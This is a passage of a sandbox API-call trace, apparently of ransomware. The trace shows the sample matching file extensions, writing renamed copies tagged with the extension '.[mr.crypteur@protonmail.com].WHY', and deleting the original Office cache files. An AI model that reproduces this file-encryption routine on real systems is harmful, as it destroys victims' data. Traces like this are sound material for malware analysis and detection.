Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.243] lstrlenW (lpString=".doc") returned 4 [0065.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.243] lstrlenW (lpString=".docx") returned 5 [0065.243] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.243] lstrlenW (lpString=".pdf") returned 4 [0065.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.244] lstrlenW (lpString=".xls") returned 4 [0065.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.244] lstrlenW (lpString=".xlsx") returned 5 [0065.244] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.244] lstrlenW (lpString=".ppt") returned 4 [0065.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.244] lstrlenW (lpString=".zip") returned 4 [0065.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.244] lstrlenW (lpString=".rar") returned 4 [0065.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.245] lstrlenW (lpString=".bz2") returned 4 [0065.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.245] lstrlenW (lpString=".7z") returned 3 [0065.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.245] lstrlenW (lpString=".dbf") returned 4 [0065.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.245] lstrlenW (lpString=".1cd") returned 4 [0065.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.245] lstrlenW (lpString=".jpg") returned 4 [0065.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.246] lstrlenW (lpString=".doc") returned 4 [0065.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.246] lstrlenW (lpString=".docx") returned 5 [0065.246] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.246] lstrlenW (lpString=".pdf") returned 4 [0065.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.246] lstrlenW (lpString=".xls") returned 4 [0065.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.247] lstrlenW (lpString=".xlsx") returned 5 [0065.247] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.247] lstrlenW (lpString=".ppt") returned 4 [0065.247] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.247] lstrlenW (lpString=".zip") returned 4 [0065.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.247] lstrlenW (lpString=".rar") returned 4 [0065.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.247] lstrlenW (lpString=".bz2") returned 4 [0065.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.247] lstrlenW (lpString=".7z") returned 3 [0065.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.248] lstrlenW (lpString=".dbf") returned 4 [0065.248] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.248] lstrlenW (lpString=".1cd") returned 4 [0065.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.248] lstrlenW (lpString=".jpg") returned 4 [0065.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.249] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.249] lstrlenW (lpString="AccessMUI.xml") returned 13 [0065.249] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.461] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1349) returned 1 [0065.461] CloseHandle (hObject=0x1e4) returned 1 [0065.462] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0065.462] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0065.462] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.462] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.462] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.462] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0065.463] GetLastError () returned 0x0 [0065.463] ReadFile (in: hFile=0x1e4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x545, lpOverlapped=0x0) returned 1 [0065.509] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0065.511] ReadFile (in: hFile=0x1e4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.512] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0065.512] SetEndOfFile (hFile=0x1a0) returned 1 [0065.512] CloseHandle (hObject=0x1a0) returned 1 [0065.513] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.513] SetEndOfFile (hFile=0x1e4) returned 1 [0065.516] CloseHandle (hObject=0x1e4) returned 1 [0065.516] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.516] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0065.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.517] lstrlenW (lpString=".doc") returned 4 [0065.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.517] lstrlenW (lpString=".docx") returned 5 [0065.517] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0065.517] lstrlenW (lpString=".pdf") returned 4 [0065.517] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.517] lstrlenW (lpString=".xls") returned 4 [0065.517] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.518] lstrlenW (lpString=".xlsx") returned 5 [0065.518] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0065.518] lstrlenW (lpString=".ppt") returned 4 [0065.518] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.518] lstrlenW (lpString=".zip") returned 4 [0065.518] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.518] lstrlenW (lpString=".rar") returned 4 [0065.518] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.518] lstrlenW (lpString=".bz2") returned 4 [0065.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.518] lstrlenW (lpString=".7z") returned 3 [0065.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.519] lstrlenW (lpString=".dbf") returned 4 [0065.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.519] lstrlenW (lpString=".1cd") returned 4 [0065.519] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.519] lstrlenW (lpString=".jpg") returned 4 [0065.519] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.519] lstrlenW (lpString=".doc") returned 4 [0065.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.519] lstrlenW (lpString=".docx") returned 5 [0065.520] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0065.520] lstrlenW (lpString=".pdf") returned 4 [0065.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.520] lstrlenW (lpString=".xls") returned 4 [0065.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.520] lstrlenW (lpString=".xlsx") returned 5 [0065.520] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0065.520] lstrlenW (lpString=".ppt") returned 4 [0065.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.520] lstrlenW (lpString=".zip") returned 4 [0065.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.520] lstrlenW (lpString=".rar") returned 4 [0065.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.521] lstrlenW (lpString=".bz2") returned 4 [0065.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.521] lstrlenW (lpString=".7z") returned 3 [0065.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.521] lstrlenW (lpString=".dbf") returned 4 [0065.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.521] lstrlenW (lpString=".1cd") returned 4 [0065.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.521] lstrlenW (lpString=".jpg") returned 4 [0065.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.522] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.522] lstrlenW (lpString="Setup.xml") returned 9 [0065.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.947] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2624) returned 1 [0065.947] CloseHandle (hObject=0x1f4) returned 1 [0065.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0065.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0065.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.948] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.948] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.948] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0065.949] GetLastError () returned 0x0 [0065.949] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0xa40, lpOverlapped=0x0) returned 1 [0065.953] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xa50, lpOverlapped=0x0) returned 1 [0065.956] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.956] SetEndOfFile (hFile=0x200) returned 1 [0065.957] CloseHandle (hObject=0x200) returned 1 [0065.958] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.958] SetEndOfFile (hFile=0x1f4) returned 1 [0065.961] CloseHandle (hObject=0x1f4) returned 1 [0065.961] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.962] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0065.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.962] lstrlenW (lpString=".doc") returned 4 [0065.962] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.963] lstrlenW (lpString=".docx") returned 5 [0065.963] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.963] lstrlenW (lpString=".pdf") returned 4 [0065.963] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.963] lstrlenW (lpString=".xls") returned 4 [0065.963] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.963] lstrlenW (lpString=".xlsx") returned 5 [0065.963] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.963] lstrlenW (lpString=".ppt") returned 4 [0065.963] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.963] lstrlenW (lpString=".zip") returned 4 [0065.963] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.963] lstrlenW (lpString=".rar") returned 4 [0065.964] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.964] lstrlenW (lpString=".bz2") returned 4 [0065.964] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.964] lstrlenW (lpString=".7z") returned 3 [0065.964] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.964] lstrlenW (lpString=".dbf") returned 4 [0065.964] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.964] lstrlenW (lpString=".1cd") returned 4 [0065.964] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.964] lstrlenW (lpString=".jpg") returned 4 [0065.964] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.965] lstrlenW (lpString=".doc") returned 4 [0065.965] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.965] lstrlenW (lpString=".docx") returned 5 [0065.965] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.965] lstrlenW (lpString=".pdf") returned 4 [0065.965] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.965] lstrlenW (lpString=".xls") returned 4 [0065.965] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.966] lstrlenW (lpString=".xlsx") returned 5 [0065.966] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.966] lstrlenW (lpString=".ppt") returned 4 [0065.966] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.966] lstrlenW (lpString=".zip") returned 4 [0065.966] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.966] lstrlenW (lpString=".rar") returned 4 [0065.966] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.966] lstrlenW (lpString=".bz2") returned 4 [0065.966] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.966] lstrlenW (lpString=".7z") returned 3 [0065.966] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.966] lstrlenW (lpString=".dbf") returned 4 [0065.967] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.967] lstrlenW (lpString=".1cd") returned 4 [0065.967] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.967] lstrlenW (lpString=".jpg") returned 4 [0065.967] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.967] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.968] lstrlenW (lpString="Setup.xml") returned 9 [0065.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0066.811] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=31094) returned 1 [0066.811] CloseHandle (hObject=0x1f8) returned 1 [0066.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0066.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0066.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0066.812] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.812] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0068.420] GetLastError () returned 0x0 [0068.420] ReadFile (in: hFile=0x1f8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x7976, lpOverlapped=0x0) returned 1 [0068.786] WriteFile (in: hFile=0x210, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x7980, lpOverlapped=0x0) returned 1 [0068.791] ReadFile (in: hFile=0x1f8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.791] WriteFile (in: hFile=0x210, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0068.791] SetEndOfFile (hFile=0x210) returned 1 [0068.791] CloseHandle (hObject=0x210) returned 1 [0068.794] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 